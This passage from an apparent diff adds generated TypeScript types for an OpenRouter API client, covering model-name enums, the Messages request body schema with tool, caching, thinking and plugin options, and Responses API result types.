'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostMessagesRequestModelEnumKey = + (typeof openrouterPostMessagesRequestModelEnum)[keyof typeof openrouterPostMessagesRequestModelEnum] + +/** + * @description Request schema for Anthropic Messages API endpoint + * @example {"max_tokens":1024,"messages":[{"content":"Hello, how are you?","role":"user"}],"model":"anthropic/claude-4.5-sonnet-20250929","temperature":0.7} + * @type object + */ +export type OpenrouterPostMessagesBody = { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + context_management?: { + edits?: ( + | { + /** + * @example {"type":"input_tokens","value":50000} + * @type object | undefined + */ + clear_at_least?: AnthropicInputTokensClearAtLeast | null + clear_tool_inputs?: boolean | string[] | null + exclude_tools?: string[] | null + /** + * @example {"type":"tool_uses","value":5} + * @type object | undefined + */ + keep?: AnthropicToolUsesKeep + trigger?: + | (AnthropicInputTokensTrigger & { + type: 'input_tokens' + }) + | (AnthropicToolUsesTrigger & { + type: 'tool_uses' + }) + type: 'clear_tool_uses_20250919' + } + | { + keep?: + | AnthropicThinkingTurns + | { + type: 'all' + } + | 'all' + type: 'clear_thinking_20251015' + } + | { + instructions?: string | null + pause_after_compaction?: boolean + /** + * @example {"type":"input_tokens","value":100000} + */ + trigger?: (AnthropicInputTokensTrigger & object) | null + type: 'compact_20260112' + } + )[] + } | null + /** + * @description Opt-in versioned router-level deferred-tool protocol. Replay assistant reasoning unchanged on continuation; keep the catalog unchanged. + * @example {"profile":"portable","protocol":"v1","search":{"max_results":5,"type":"bm25"},"validation":"runtime"} + * @type object | undefined + */ + deferred_tools?: DeferredToolsControl + /** + * @description Fallback models to try if the primary model fails or refuses, in order. Handled by OpenRouter multi-model routing rather than Anthropic server-side fallbacks; cannot be combined with `models`. Each entry accepts only `model`. Maximum of 3 entries. + * @example [{"model":"claude-opus-4-8"}] + * @type array | undefined + */ + fallbacks?: MessagesFallbackParam[] | null + max_tokens?: number + messages: MessagesMessageParam[] | null + metadata?: { + user_id?: string | null + } + model: OpenrouterPostMessagesRequestModelEnumKey + models?: string[] + /** + * @description Configuration for controlling output behavior. Supports the effort parameter and structured output format. + * @example {"effort":"medium"} + * @type object | undefined + */ + output_config?: MessagesOutputConfig + /** + * @description Plugins you want to enable for this request, including their settings. + * @type array | undefined + */ + plugins?: ( + | (AutoRouterPlugin & { + id: 'auto-router' + }) + | (AutoBetaRouterPlugin & { + id: 'auto-beta-router' + }) + | (ModerationPlugin & { + id: 'moderation' + }) + | (WebSearchPlugin & { + id: 'web' + }) + | (WebFetchPlugin & { + id: 'web-fetch' + }) + | (FileParserPlugin & { + id: 'file-parser' + }) + | (ResponseHealingPlugin & { + id: 'response-healing' + }) + | (ContextCompressionPlugin & { + id: 'context-compression' + }) + | (ParetoRouterPlugin & { + id: 'pareto-router' + }) + | (FusionPlugin & { + id: 'fusion' + }) + | (SwitchyardRouterPlugin & { + id: 'switchyard-router' + }) + | (JevRouterPlugin & { + id: 'jev-router' + }) + | (AlignmentPlugin & { + id: 'alignment' + }) + | (ArmorPlugin & { + id: 'armor' + }) + )[] + /** + * @description When multiple model providers are available, optionally indicate your routing preference. + * @example {"allow_fallbacks":true} + * @type object | undefined + */ + provider?: ProviderPreferences | null + /** + * @description **DEPRECATED** Use providers.sort.partition instead. Backwards-compatible alias for providers.sort.partition. Accepts legacy values: "fallback" (maps to "model"), "sort" (maps to "none"). + * @deprecated + * @example fallback + * @type string | undefined + */ + route?: DeprecatedRouteKey | null + safeguards?: AnthropicSafeguard[] | null + service_tier?: string + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). When provided, OpenRouter uses it as the sticky routing key, routing all requests in the session to the same provider to maximize prompt cache hits. Also used for observability grouping. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @type string | undefined + */ + session_id?: string + /** + * @description Controls output generation speed. When set to `fast`, uses a higher-speed inference configuration at premium pricing. Defaults to `standard` when omitted. + * @example fast + * @type string | undefined + */ + speed?: AnthropicSpeedKey | null + stop_sequences?: string[] + /** + * @description Stop conditions for the server-tool agent loop. Any condition firing halts the loop (OR logic). When set, this overrides `max_tool_calls`. When a condition fires while the model is still emitting tool calls, the pending tool calls are executed and one final turn is made with tool calls disabled so the response ends with a natural-language answer instead of an unfinished tool call. + * @example [{"step_count":5,"type":"step_count_is"},{"max_cost_in_dollars":0.5,"type":"max_cost"}] + * @type array | undefined + */ + stop_server_tools_when?: StopServerToolsWhen + stream?: boolean + system?: string | AnthropicTextBlockParam[] + /** + * @description + * Format: `double` + * @type number | undefined + */ + temperature?: number + thinking?: + | { + /** + * @example {"prefix_mismatch_behavior":"drop_block"} + * @type object | undefined + */ + block_binding?: AnthropicThinkingBlockBinding | null + budget_tokens: number + /** + * @example summarized + * @type string | undefined + */ + display?: AnthropicThinkingDisplayKey | null + type: 'enabled' + } + | { + type: 'disabled' + } + | { + /** + * @example {"prefix_mismatch_behavior":"drop_block"} + * @type object | undefined + */ + block_binding?: AnthropicThinkingBlockBinding | null + /** + * @example summarized + * @type string | undefined + */ + display?: AnthropicThinkingDisplayKey | null + type: 'adaptive' + } + | { + type: 'between_tools' + } + tool_choice?: + | { + disable_parallel_tool_use?: boolean + type: 'auto' + } + | { + disable_parallel_tool_use?: boolean + type: 'any' + } + | { + type: 'none' + } + | { + disable_parallel_tool_use?: boolean + name: string + type: 'tool' + } + tools?: ( + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + defer_loading?: boolean + description?: string + input_schema: { + properties?: unknown + required?: string[] | null + /** + * @default 'object' + * @type string | undefined + */ + type?: string + [key: string]: unknown + } + name: string + strict?: boolean + type?: 'custom' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + name: 'bash' + type: 'bash_20250124' + } + | { + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + name: 'str_replace_editor' + type: 'text_editor_20250124' + } + | { + allowed_domains?: string[] | null + blocked_domains?: string[] | null + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + max_uses?: number | null + name: 'web_search' + type: 'web_search_20250305' + /** + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: AnthropicWebSearchToolUserLocation | null + } + | { + /** + * @example ["direct"] + * @type array | undefined + */ + allowed_callers?: AnthropicAllowedCallers + allowed_domains?: string[] | null + blocked_domains?: string[] | null + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + max_uses?: number | null + name: 'web_search' + type: 'web_search_20260209' + /** + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: AnthropicWebSearchToolUserLocation | null + } + | { + /** + * @example ["direct"] + * @type array | undefined + */ + allowed_callers?: AnthropicAllowedCallers + /** + * @description Enable automatic prompt caching. When set at the top level, the system automatically applies cache breakpoints to the last cacheable block in the request. When set on an individual content block, it marks an explicit cache breakpoint; block-level markers also work on OpenAI models that support explicit prompt caching — OpenRouter converts them to the provider's native format. + * @example {"type":"ephemeral"} + * @type object | undefined + */ + cache_control?: AnthropicCacheControlDirective + caching?: AnthropicCacheControlDirective | null + defer_loading?: boolean + max_uses?: number + model: string + name: 'advisor' + type: 'advisor_20260301' + } + | BashServerTool + | DatetimeServerTool + | ImageGenerationServerToolOpenRouter + | MessagesSearchModelsServerTool + | WebFetchServerTool + | OpenRouterWebSearchServerTool + | { + type: string + [key: string]: unknown + } + | AnthropicToolSearchToolBm25 + | AnthropicToolSearchToolRegex + | ShellServerToolOpenRouter + | ToolSearchServerTool + )[] + top_k?: number + /** + * @description + * Format: `double` + * @type number | undefined + */ + top_p?: number + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description A unique identifier representing your end-user, which helps distinguish between different users of your app. This allows your app to identify specific users in case of abuse reports, preventing your entire app from being affected by the actions of individual users. Maximum of 256 characters. + * @maxLength 256 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostMessagesOptions = { + body: OpenrouterPostMessagesBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostMessagesResponses = { + '200': + | { + contentType: 'application/json' + data: OpenrouterPostMessagesStatus200Json + } + | { + contentType: 'text/event-stream' + data: OpenrouterPostMessagesStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostMessagesResponse = OpenrouterPostMessagesStatus200 + +export const openrouterPostResponsesStatus200AccessProgramsCyberEnum = { + standard: 'standard', + daybreak_blue: 'daybreak_blue', + daybreak_red: 'daybreak_red', +} as const + +export type OpenrouterPostResponsesStatus200AccessProgramsCyberEnumKey = + (typeof openrouterPostResponsesStatus200AccessProgramsCyberEnum)[keyof typeof openrouterPostResponsesStatus200AccessProgramsCyberEnum] + +/** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ +export type OpenrouterPostResponsesStatus200Json = BaseResponsesResult & { + /** + * @description Access program the upstream provider reported for this response (OpenAI `access_programs`). `null` when the provider reported none, including OpenAI's implicit Standard program. + * @example {"cyber":"standard"} + * @type object | undefined + */ + access_programs?: { + cyber: OpenrouterPostResponsesStatus200AccessProgramsCyberEnumKey + } | null + /** + * @description Beta. The result of the alignment plugin for this request; the shape may change. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + * @type object | undefined + */ + alignment?: Alignment + /** + * @description Error of a failed response; `metadata` carries OpenRouter-specific details. + * @example {"code":"server_error","message":"Alignment plugin: the reply could not be evaluated: evaluator_error","metadata":{"alignment":{"calls":[{"call":1,"outcome":"unavailable","reason":"evaluator_error"}]}}} + * @type object | undefined + */ + error?: OpenResponsesErrorField | null + /** + * @description Canonical OpenRouter error type, stable across all API formats + * @example rate_limit_exceeded + * @type string | undefined + */ + error_type?: ApiErrorTypeKey + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + output?: OutputItems[] + /** + * @description OpenRouter Armor's verdict for each client tool call of this response, present whenever Armor evaluated the response (even when nothing was flagged). Independent of the `openrouter_metadata` opt-in. + * @type array | undefined + */ + safeguard_results?: ArmorSafeguardResult[] + service_tier?: string | null + /** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"}} + */ + text?: TextExtendedConfig + /** + * @description Token usage information for the response + * @example {"cost":0.0012,"cost_details":{"upstream_inference_cost":null,"upstream_inference_input_cost":0.0008,"upstream_inference_output_cost":0.0004},"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35} + */ + usage?: Usage +} + +/** + * @example {"data":{"content_index":0,"delta":"Hello","item_id":"item-1","logprobs":[],"output_index":0,"sequence_number":4,"type":"response.output_text.delta"}} + * @type object + */ +export type OpenrouterPostResponsesStatus200EventStream = { + /** + * @description Union of all possible event types emitted during response streaming + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":0,"type":"response.created"} + */ + data: StreamEvents +} + +export type OpenrouterPostResponsesStatus200 = + | OpenrouterPostResponsesStatus200Json + | OpenrouterPostResponsesStatus200EventStream + +export const openrouterPostResponsesRequestAccessProgramsCyberEnum = { + standard: 'standard', + daybreak_blue: 'daybreak_blue', + daybreak_red: 'daybreak_red', +} as const + +export type OpenrouterPostResponsesRequestAccessProgramsCyberEnumKey = + (typeof openrouterPostResponsesRequestAccessProgramsCyberEnum)[keyof typeof openrouterPostResponsesRequestAccessProgramsCyberEnum] + +export const openrouterPostResponsesRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 